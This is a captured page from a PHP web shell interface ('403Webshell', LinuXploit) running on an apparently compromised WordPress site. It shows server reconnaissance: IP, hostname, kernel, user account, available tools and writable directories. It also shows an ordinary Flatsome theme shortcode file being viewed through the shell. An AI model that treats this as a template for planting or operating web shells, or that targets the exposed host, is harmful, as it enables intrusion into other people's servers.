403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.145.64.178
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/khowordpress.com/wp-content/themes/flatsome/inc/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/khowordpress.com/wp-content/themes/flatsome/inc/shortcodes/scroll_to.php
<?php
function flatsome_scroll_to( $atts, $content = null ) {
	extract( shortcode_atts( array(
		'bullet' => 'true',
		'title'  => 'Change this',
		'link'   => '',
	), $atts ) );

	if ( ! $title && ! $link ) {
		return false;
	}

	// Convert title to link if link is not set.
	if ( ! $link ) {
		$link = flatsome_to_dashed( $title );
	}

	if ( substr( $link, 0, 1 ) !== '#' ) {
		$link = '#' . $link;
	}

	return '<span class="scroll-to" data-label="Scroll to: ' . $link . '" data-bullet="' . $bullet . '" data-link="' . $link . '" data-title="' . $title . '"><a name="' . str_replace( '#', '', $link ) . '"></a></span>';
}

add_shortcode( 'scroll_to', 'flatsome_scroll_to' );

Youez - 2016 - github.com/yon3zu
LinuXploit